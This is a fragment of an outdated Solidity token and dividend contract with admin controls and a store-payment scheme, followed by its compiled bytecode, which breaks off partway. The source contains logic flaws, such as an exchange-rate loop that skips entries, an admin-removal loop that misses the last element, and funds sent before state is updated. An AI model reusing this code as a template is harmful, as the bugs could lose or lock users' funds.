exchangeRateArray.push(exchangeRate(time1, time2, value)); } } function admin_set_Apply_Store_Id_Fee(address _address) onlyAdmin{ Apply_Store_Id_Fee = _address; } function admin_set_ExchangeRateInWei(uint256 exchangeRates) onlyAdmin{ tokenExchangeRateInWei = exchangeRates; } function get_exchange_wei() constant returns(uint256){ uint len = exchangeRateArray.length; uint nowTime = block.timestamp; for(uint i = 0; i < len; i += 3){ exchangeRate memory rate = exchangeRateArray[i]; uint time1 = rate.time1; uint time2 = rate.time2; uint value = rate.value; if (nowTime>= time1 && nowTime<=time2) { tokenExchangeRateInWei = value; return value; } } return tokenExchangeRateInWei; } function admin_set_min_pay(uint256 _min_pay) onlyAdmin{ require(_min_pay >= 0); min_pay_wei = _min_pay; } function get_admin_list() constant returns(address[] _adminArray){ _adminArray = adminArray; } function admin_add(address admin) onlyAdmin adminDoesNotExist(admin){ adminArray.push(admin); } function admin_del(address admin) onlyAdmin adminExists(admin){ for (uint i = 0; i < adminArray.length - 1; i++) if (adminArray[i] == admin) { adminArray[i] = adminArray[adminArray.length - 1]; break; } adminArray.length -= 1; } function admin_set_shopStorePrice(uint256 _shopStorePrice) onlyAdmin{ shopStorePrice = _shopStorePrice; } function admin_set_isRequireData(bool _requireData) onlyAdmin{ isRequireData = _requireData; } function admin_set_payable(bool _payable) onlyAdmin{ isPayable = _payable; } function admin_set_withdrawable(bool _withdrawable) onlyAdmin{ isWithdrawable = _withdrawable; } function admin_set_dividend(address _member, bool _dividend) onlyAdmin memberExists(_member){ members[_member].isDividend = _dividend; } function admin_set_withdraw(address _member, bool _withdraw) onlyAdmin memberExists(_member){ members[_member].isWithdraw = _withdraw; } function get_total_info() constant returns(uint256 _total_devidend, uint256 _total_remain, uint256 _total_withdraw){ _total_remain = total_devidend - total_withdraw; _total_devidend = total_devidend; _total_withdraw = total_withdraw; } function get_info(address _member) constant returns (uint256 _balance, uint256 _devidend, uint256 _remain, uint256 _withdraw){ _devidend = members[_member].dividend; _withdraw = members[_member].withdraw; _remain = _devidend - _withdraw; _balance = balances[_member]; } function withdraw() isMember { uint256 _remain = members[msg.sender].dividend - members[msg.sender].withdraw; require(_remain > 0); require(isWithdrawable); require(members[msg.sender].isWithdraw); msg.sender.transfer(_remain); members[msg.sender].withdraw += _remain; total_withdraw += _remain; } function admin_withdraw(uint xWei){ uint256 _withdraw = xWei; require( msg.sender == Apply_Store_Id_Fee ); require(this.balance > _withdraw); msg.sender.transfer(_withdraw); withdraw_amount += _withdraw; } function admin_withdraw_all(address _ApplyStoreIdFee) onlyAdmin { require( _ApplyStoreIdFee == Apply_Store_Id_Fee ); _ApplyStoreIdFee.transfer(this.balance); total_devidend = 0; //member total_withdraw = 0; //member withdraw_amount = 0; //deposit dividend_amount = 0; //admin } function admin_transfer(address _to, uint256 _value) onlyAdmin onlyPayloadSize(2 * 32) { require(_to != Apply_Store_Id_Fee); require(total_tokenwei <= totalSupply - _value); balances[_to] = balances[_to].add(_value); total_tokenwei += _value; if (members[_to].isExists != true) { members[_to].isExists = true; members[_to].isDividend = true; members[_to].isWithdraw = true; memberArray.push(_to); } } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) { require(_to != msg.sender); require(isPayable); balances[msg.sender] = balances[msg.sender].sub(_value); if(_to == Apply_Store_Id_Fee){ require(_value == shopStorePrice); shopStoreNextId++; shopStoreId[msg.sender] = shopStoreNextId; shopStoreAddress[shopStoreNextId] = msg.sender; } else { if(isLeading4FF(_to)){ uint256 to256 = uint256(_to); uint32 expire = uint32(to256>>96); uint32 storeid = uint24(to256>>72); uint8 byte19_1 = uint8(uint8(to256>>8)>>4); uint8 byte19_2 = uint8(uint8(to256>>8)<<4); byte19_2 = byte19_2>>4; uint24 byte1618 = uint24(to256>>16); require(uint32(now)<expire || expire==0); require(uint8(sha256(uint152(to256>>8)))==uint8(to256)); _to = shopStoreAddress[uint(storeid)]; require(uint(_to)>0); if(byte19_1 == 3){ for(int i = 0; i < byte19_2; i++){ byte1618 *= 10; } require(byte1618 == _value); } } balances[_to] = balances[_to].add(_value); if (members[_to].isExists != true) { members[_to].isExists = true; members[_to].isDividend = true; members[_to].isWithdraw = true; memberArray.push(_to); } } Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { require(_to != Apply_Store_Id_Fee); require(_from != Apply_Store_Id_Fee); require(isPayable); var _allowance = allowed[_from][msg.sender]; require(_allowance >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); if (members[_to].isExists != true) { members[_to].isExists = true; members[_to].isDividend = true; members[_to].isWithdraw = true; memberArray.push(_to); } Transfer(_from, _to, _value); } function () payable { pay(); } function pay() public payable returns (bool) { require(!isLeading4FF(msg.sender)); require(msg.value > min_pay_wei); require(isPayable); if(msg.sender == Apply_Store_Id_Fee){ }else{ if(isRequireData){ require(uint32(msg.data[0]) == uint32(0xFFFFFFFF)); } uint256 exchangeWei = get_exchange_wei(); uint256 thisTokenWei = exchangeWei * msg.value / 10**18 ; require(total_tokenwei <= totalSupply - thisTokenWei); if (members[msg.sender].isExists != true) { members[msg.sender].isExists = true; members[msg.sender].isDividend = true; members[msg.sender].isWithdraw = true; memberArray.push(msg.sender); } balances[msg.sender] += thisTokenWei; total_tokenwei += thisTokenWei; Paydata(msg.sender, msg.value, msg.data, thisTokenWei); Transfer(this, msg.sender, thisTokenWei); } return true; } function get_this_balance() constant returns(uint256){ return this.balance; } }
0x6060604052361561025a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063021dc2fc1461026c5780630281b7521461029557806308ae4b0c146102b8578063095ea7b31461032d5780630f822b781461036f57806310c193b9146103b157806312ebca9c146103da57806318160ddd146104455780631b9265b81461046e57806323b872dd14610490578063279c94c0146104f157806328d0d2231461052a5780632b7568d9146105535780632eacfd0f1461058c578063313ce567146105af5780633c566f0f146105d85780633ccfd60b1461063b5780633cecf2e6146106505780633ef3957114610695578063451f7763146106c257806346f19888146106e7578063497410981461071e5780634a661152146107415780634d840bcc1461076a5780634f95ddec1461079757806353e4d8ef146107c057806370a08231146107e5578063816d3dc114610832578063876588b8146108945780638cc40d71146108e95780638f0165e114610912578063973f61291461093b5780639a8318f41461099e5780639caaa7f4146109c7578063a9059cbb146109f0578063b908928014610a32578063bcfffab814610a6b578063c726dea814610a94578063cc9c437c14610af7578063ce46e04614610b94578063d71e58f814610bc1578063d8e2e39214610c1b578063dcdc725414610c40578063dd62ed3e14610c63578063e85353e114610ccf578063f0edb7cf14610d13578063f37e592d14610d4c578063f959fe4b14610d99578063fc47fcf514610ddd578063ff7c977f14610e06575b61026a5b610266610e32565b505b565b005b341561027757600080fd5b61027f6112f0565b6040518082815260200191505060405180910390f35b34156102a057600080fd5b6102b660048080359060200190919050506112f6565b005b34156102c357600080fd5b6102ef600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061131c565b604051808615151515815260200185151515158152602001841515151581526020018381526020018281526020019550505050505060405180910390f35b341561033857600080fd5b61036d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611379565b005b341561037a57600080fd5b6103af600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114fe565b005b34156103bc57600080fd5b6103c4611822565b6040518082815260200191505060405180910390f35b34156103e557600080fd5b6103ed611828565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156104315780820151818401525b602081019050610415565b505050509050019250505060405180910390f35b341561045057600080fd5b6104586118bd565b6040518082815260200191505060405180910390f35b610476610e32565b604051808215151515815260200191505060405180910390f35b341561049b57600080fd5b6104ef600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506118c3565b005b34156104fc57600080fd5b610528600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e3e565b005b341561053557600080fd5b61053d611edf565b6040518082815260200191505060405180910390f35b341561055e57600080fd5b61058a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ee5565b005b341561059757600080fd5b6105ad6004808035906020019091905050611fd7565b005b34156105ba57600080fd5b6105c26120b2565b6040518082815260200191505060405180910390f35b34156105e357600080fd5b6105f960048080359060200190919050506120b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561064657600080fd5b61064e6120eb565b005b341561065b57600080fd5b6106716004808035906020019091905050612313565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156106a057600080fd5b6106a861234d565b604051808215151515815260200191505060405180910390f35b34156106cd57600080fd5b6106e560048080351515906020019091905050612360565b005b34156106f257600080fd5b6106fa612399565b60405180848152602001838152602001828152602001935050505060405180910390f35b341561072957600080fd5b61073f60048080359060200190919050506123b7565b005b341561074c57600080fd5b6107546123ed565b6040518082815260200191505060405180910390f35b341561077557600080fd5b61077d6124ba565b604051808215151515815260200191505060405180910390f35b34156107a257600080fd5b6107aa6124cd565b6040518082815260200191505060405180910390f35b34156107cb57600080fd5b6107e3600480803515159060200190919050506124d3565b005b34156107f057600080fd5b61081c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061250c565b6040518082815260200191505060405180910390f35b341561083d57600080fd5b610869600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612556565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b341561089f57600080fd5b6108a7612635565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108f457600080fd5b6108fc61265b565b6040518082815260200191505060405180910390f35b341561091d57600080fd5b610925612661565b6040518082815260200191505060405180910390f35b341561094657600080fd5b61095c6004808035906020019091905050612667565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109a957600080fd5b6109b16126a7565b6040518082815260200191505060405180910390f35b34156109d257600080fd5b6109da6126ad565b6040518082815260200191505060405180910390f35b34156109fb57600080fd5b610a30600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506126cd565b005b3415610a3d57600080fd5b610a69600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612dbd565b005b3415610a7657600080fd5b610a7e612f81565b6040518082815260200191505060405180910390f35b3415610a9f57600080fd5b610ab56004808035906020019091905050612f87565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b0257600080fd5b610b52600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050612fc7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b9f57600080fd5b610ba761319d565b604051808215151515815260200191505060405180910390f35b3415610bcc57600080fd5b610c196004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506131b0565b005b3415610c2657600080fd5b610c3e600480803515159060200190919050506132c7565b005b3415610c4b57600080fd5b610c616004808035906020019091905050613300565b005b3415610c6e57600080fd5b610cb9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613326565b6040518082815260200191505060405180910390f35b3415610cda57600080fd5b610d11600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506133ae565b005b3415610d1e57600080fd5b610d4a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061349e565b005b3415610d5757600080fd5b610d83600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506134fe565b6040518082815260200191505060405180910390f35b3415610da457600080fd5b610ddb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050613516565b005b3415610de857600080fd5b610df0613606565b6040518082815260200191505060405180910390f35b3415610e1157600080fd5b610e30600480803590602001909190803590602001909190505061360c565b005b6000806000610e4033613997565b151515610e4c57600080fd5b60105434111515610e5c57600080fd5b600460009054906101000a900460ff161515610e7757600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ed2576112e6565b600460029054906101000a900460ff1615610fa05763ffffffff801660003660008181101515610efe57fe5b90509001357f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167f0100000000000000000000000000000000000000000000000000000000000000900463ffffffff16141515610f9f57600080fd5b5b610fa86123ed565b9150670de0b6b3a7640000348302811515610fbf57fe5b0490508060005403600f5411151515610fd757600080fd5b60011515600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1615151415156111aa576001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff0219169083151502179055506001600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160026101000a81548160ff021916908315150217905550600880548060010182816111599190613ab5565b916000526020600020900160005b33909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600f600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167feb0030b36304a3d6e38cc9579529ab38ea1fe9ec2ba29a86079c09a57953d4d934600036856040518085815260200180602001838152602001828103825285858281815260200192508082843782019150509550505050505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b600192505b505090565b60095481565b6000611301336139d1565b905080151561130f57600080fd5b816009819055505b5b5050565b60066020528060005260406000206000915090508060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060010154908060020154905085565b6000811415801561140757506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15151561141357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b6000611509336139d1565b905080151561151757600080fd5b60406004810160003690501015151561152f57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561158c57600080fd5b8260005403600f54111515156115a157600080fd5b6115f383600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600f6000828254019250508190555060011515600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515141515611819576001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff0219169083151502179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160026101000a81548160ff021916908315150217905550600880548060010182816117c89190613ab5565b916000526020600020900160005b86909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b5b5b505b505050565b600f5481565b611830613ae1565b60078054806020026020016040519081016040528092919081815260200182805480156118b257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611868575b505050505090505b90565b60005481565b60006060600481016000369050101515156118dd57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561193a57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415151561199757600080fd5b600460009054906101000a900460ff1615156119b257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150828210151515611a4057600080fd5b611a9283600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a9b90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b7d8383613a9b90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060011515600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515141515611dd0576001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff0219169083151502179055506001600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160026101000a81548160ff02191690831515021790555060088054806001018281611d7f9190613ab5565b916000526020600020900160005b86909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b5b5050505050565b6000611e49336139d1565b9050801515611e5757600080fd5b816000611e63826139d1565b905080151515611e7257600080fd5b60078054806001018281611e869190613ab5565b916000526020600020900160005b86909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b5b50505b5050565b60135481565b6000611ef0336139d1565b9050801515611efe57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515611f5a57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515611fb157600080fd5b60006011819055506000601281905550600060138190555060006014819055505b5b5050565b6000819050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561203857600080fd5b803073ffffffffffffffffffffffffffffffffffffffff163111151561205d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561209d57600080fd5b806013600082825401925050819055505b5050565b60035481565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000905060011515600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515141561215357600190505b80151561215f57600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101540391506000821115156121f757600080fd5b600460019054906101000a900460ff16151561221257600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160029054906101000a900460ff16151561226d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015156122ad57600080fd5b81600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008282540192505081905550816012600082825401925050819055505b5b5050565b60058181548110151561232257fe5b906000526020600020906003020160005b915090508060000154908060010154908060020154905083565b600460029054906101000a900460ff1681565b600061236b336139d1565b905080151561237957600080fd5b81600460006101000a81548160ff0219169083151502179055505b5b5050565b6000806000601254601154039150601154925060125490505b909192565b60006123c2336139d1565b90508015156123d057600080fd5b600082101515156123e057600080fd5b816010819055505b5b5050565b6000806000806123fb613af5565b60008060006005805490509650429550600094505b868510156124aa5760058581548110151561242757fe5b906000526020600020906003020160005b50606060405190810160405290816000820154815260200160018201548152602001600282015481525050935083600001519250836020015191508360400151905082861015801561248a5750818611155b1561249e57806009819055508097506124b0565b5b600385019450612410565b60095497505b5050505050505090565b600460019054906101000a900460ff1681565b600c5481565b60006124de336139d1565b90508015156124ec57600080fd5b81600460016101000a81548160ff0219169083151502179055505b5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600080600080600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549250600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015490508083039150600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493505b9193509193565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b60105481565b60078181548110151561267657fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60003073ffffffffffffffffffffffffffffffffffffffff163190505b90565b60008060008060008060006040600481016000369050101515156126f057600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415151561272b57600080fd5b600460009054906101000a900460ff16151561274657600080fd5b61279889600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a9b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614156128f257600c548914151561284157600080fd5b600d60008154809291906001019190505550600d54600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555033600b6000600d54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612d4a565b6128fb8a613997565b15612ae1578973ffffffffffffffffffffffffffffffffffffffff1697506060889060020a900496506048889060020a900462ffffff16955060046008899060020a900460ff169060020a9004945060046008899060020a900460ff169060020a02935060048460ff169060020a900493506010889060020a900492508663ffffffff164263ffffffff161080612998575060008763ffffffff16145b15156129a357600080fd5b8760ff16600260088a9060020a9004600060405160200152604051808272ffffffffffffffffffffffffffffffffffffff1672ffffffffffffffffffffffffffffffffffffff166d010000000000000000000000000002815260130191505060206040518083038160008661646e5a03f11515612a1f57600080fd5b5050604051805190506001900460ff16141515612a3b57600080fd5b600b60008763ffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16995060008a73ffffffffffffffffffffffffffffffffffffffff16111515612a9c57600080fd5b60038560ff161415612ae057600091505b8360ff16821215612acc57600a830292505b8180600101925050612aad565b888362ffffff16141515612adf57600080fd5b5b5b612b3389600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7c90919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060011515600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515141515612d49576001600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506001600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160016101000a81548160ff0219169083151502179055506001600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160026101000a81548160ff02191690831515021790555060088054806001018281612cf89190613ab5565b916000526020600020900160005b8c909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b5b8973ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8b6040518082815260200191505060405180910390a35b5b50505050505050505050565b600080612dc9336139d1565b9050801515612dd757600080fd5b8260008090503373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515612e1e57612e1b826139d1565b90505b801515612e2a57600080fd5b600093505b600160078054905003841015612f5e578473ffffffffffffffffffffffffffffffffffffffff16600785815481101515612e6557fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612f50576007600160078054905003815481101515612ec557fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600785815481101515612f0157fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612f5e565b5b8380600101945050612e2f565b6001600781818054905003915081612f769190613b17565b505b5b50505b505050565b600d5481565b600881815481101515612f9657fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000806000600a60008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205495506040869060020a026affffffffffffffffffffff16605842620151808e02019060020a026effffffffffffffffffffffffffffff1672ffffffff000000000000000000000000000000010172ffffffffffffffffffffffffffffffffffffff1694506000935087620f42408a020192508291505b6000600a8481151561309657fe5b0614156130b957600a838115156130a957fe5b0492508380600101945050613088565b60188a9060020a029950818a01995060088a9060020a0267ffffffffffffffff16850194508360300160ff1685019450600285600060405160200152604051808272ffffffffffffffffffffffffffffffffffffff1672ffffffffffffffffffffffffffffffffffffff166d010000000000000000000000000002815260130191505060206040518083038160008661646e5a03f1151561315957600080fd5b5050604051805190506001900490508060ff1660088673ffffffffffffffffffffffffffffffffffffffff169060020a020196505b50505050505095945050505050565b600460009054906101000a900460ff1681565b6000806000806000806131c2336139d1565b90508015156131d057600080fd5b8651955060006005816131e39190613b43565b50600094505b858510156132bc5786858151811015156131ff57fe5b906020019060200201519350866001860181518110151561321c57fe5b9060200190602002015192506103e8876002870181518110151561323c57fe5b906020019060200201510291506005805480600101828161325d9190613b75565b916000526020600020906003020160005b6060604051908101604052808881526020018781526020018681525090919091506000820151816000015560208201518160010155604082015181600201555050505b6003850194506131e9565b5b5b50505050505050565b60006132d2336139d1565b90508015156132e057600080fd5b81600460026101000a81548160ff0219169083151502179055505b5b5050565b600061330b336139d1565b905080151561331957600080fd5b81600c819055505b5b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b60006133b9336139d1565b90508015156133c757600080fd5b82600080905060011515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515141561342e57600190505b80151561343a57600080fd5b83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160026101000a81548160ff0219169083151502179055505b5b50505b505050565b60006134a9336139d1565b90508015156134b757600080fd5b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffff